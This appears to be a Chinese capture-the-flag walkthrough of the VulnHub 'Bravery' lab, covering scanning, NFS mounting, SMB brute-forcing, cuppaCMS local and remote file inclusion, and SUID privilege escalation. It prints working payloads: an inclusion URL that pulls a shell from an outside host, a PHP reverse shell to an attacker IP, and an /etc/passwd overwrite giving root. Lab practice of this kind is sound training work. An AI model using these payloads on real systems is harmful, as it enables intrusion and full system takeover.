BRAVERY靶场
靶场名称:DIGITALWORLD.LOCAL: BRAVERY
下载地址:https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/
安装过程很简单,为了方便我把网络由NAT改成了桥接模式
主机发现:
arp-scan -l
端口扫描
nmap -sV -sC -A -T4 192.168.1.15 -p-
-sV:扫描端口开启的服务
-sC:使用默认脚本扫描
-A:强力扫描
-T4:快速扫描
-p-:全端口扫描
端口开放情况如下
22/tcp open tcpwrapped
53/tcp open domain dnsmasq 2.76
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs_acl 3 (RPC #100227)
3306/tcp open mysql MariaDB (unauthorized)
8080/tcp open http nginx 1.12.2
20048/tcp open mountd 1-3 (RPC #100005)
39553/tcp open nlockmgr 1-4 (RPC #100021)
50415/tcp open status 1 (RPC #100024)
开了http服务,访问一下80,8080端口
分别对这两个网站测试,
80端口:使用dirb找一下网站目录
访问一下相关页面
http://192.168.1.15/8
http://192.168.1.15/about
http://192.168.1.15/phpinfo.php
最后在
http://192.168.1.15/uploads/files/internal/department/procurement/sara/note.txt
中找到一条线索
网站用了cuppaCMS,之前打靶场碰到过这个CMS有一个文件包含漏洞,但是爆破了一下80没有找到这个CMS页面
80端口页面测试结束找到一条信息
8080页面:
使用dirb找一下网站目录
关键几条目录是robots.txt以及该页面显示的目录,private,public分别访问一下
http://192.168.1.15:8080/robots.txt
http://192.168.1.15:8080/cgi-bin
http://192.168.1.15:8080/qwertyuiop.html
http://192.168.1.15:8080/private/
http://192.168.1.15:8080/public/
在public目录下发现web页面,但是没找到有用的东西,也没发现cuppaCMS页面
Web页面没啥信息,再看一下其他端口
访问一下445端口
有两个文件夹,其中anonymous可以访问
里面目录很多,但是没有啥重要的东西,我想把这些名字收集起来做成一个用户名字典,然后用hydra跑一下,结果没跑出来
hydra -L username.txt -P pass.txt smb://192.168.1.15/secured -f -vv
又尝试爆破3306和22端口,3306端口不允许外部IP连接22端口有WAF,爆破一会IP就会被封,剩下的端口都没怎么接触过,就在网上一边搜,一边测试,通过下面的文章发现了NFS共享信息泄露漏洞
https://blog.csdn.net/weixin_43486390/article/details/103988021
首先可以使用msf中的辅助模块扫描一下是否存在该漏洞
也可以使用showmount命令直接查看
然后使用mount命令将目标目录挂载到本地
mount -t nfs 192.168.1.15:/var/nfsshare ./brave
在这些文件中寻找信息,
其中在
qwertyuioplkjhgfdsazxcvbnm
中的内容很有意思
有时候你在寻找的答案就在眼前。
这个文件命名本身就很奇怪,我觉得这应该是某个用户的密码,结合之前的爆破过程这个应该就是smb服务下的secured文件下的某个用户密码,但是hydra爆破不出来,我不知道问什么会这样,在NFS服务中就出现了david这个用户,可能就是它的密码吧
试了试果然是david的密码
查看这三个文件信息
其中第一个文件夹应该是和这个系列的第一个靶场有关,第二个出现了genevieve这个目录,访问一下
嘿嘿,在80站点成功访问
在这个页面下找到cuppaCMS的入口
这个cms漏洞是在cuppa根目录下的alerts/alertConfigField.php文件中,相关payload
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
分别测试一下本地文件包含,和远程文件包含
都没问题,那就在写一个一句话木马,通过python开启一个http服务让他远程包含
测试一下没有问题
使用蚁剑连接
由于蚁剑的虚拟终端不方便,我通过蚁剑在80网站根目录上传一个shell.php文件再反弹一个shell
文件内容如下
set_time_limit(0);
$ip=$_POST['ip'];
$port=$_POST['port'];
$ip= "192.168.1.12"; //监听地址
$port= 8888; //监听ip
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
fputs($fp,"n+++++++++++++connect sucess+++++++++n");
while(!feof($fp)){
fputs($fp,"shell:");
$shell=fgets($fp);
$message=`$shell`;
fputs($fp,$message);
}
fclose($fp);
}
Kali开启监听后只需要通过浏览器访问这个文件就能得到一个shell
接下来就是提权了
我这里使用的是suid提权
什么是suid提权可以看下这个文章:
https://www.freebuf.com/articles/web/272617.html
首先执行命令,查看支持suid的命令
find / -perm -u=s -type f 2>/dev/null
其中cp可以进行suid提权,提权方法是,按照/etc/passwd中的用户格式写一个用户,
root:x:0:0:root:/root:/bin/bash
其中的x换为加密后的密码,比如我们希望密码是12345,那么需要通过撒盐加密然后替换x并写入到目标文件
使用openssl生成密码
openssl passwd -1 -salt salt 123456
-1: md5 加密
-salt:指定盐,不指定也行使用默认
123456:等待加密的明文密码
将以上组合成下面的
root:$1$test$at615QShYKduQlx5z9Zm7/:0:0:root:/root:/bin/bash
这里不是交互式shell,还得通过nc反弹一个shell,然后通过
python -c 'import pty;pty.spawn("/bin/sh")'
获取一个交互式shell
把上面的字符串先放到一个文件中,然后通过cp复制到/etc/passwd中
可以看到已经成功了,然后切换到root用户即可
成功!
原文始发于微信公众号(网安之道):BRAVERY靶场
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论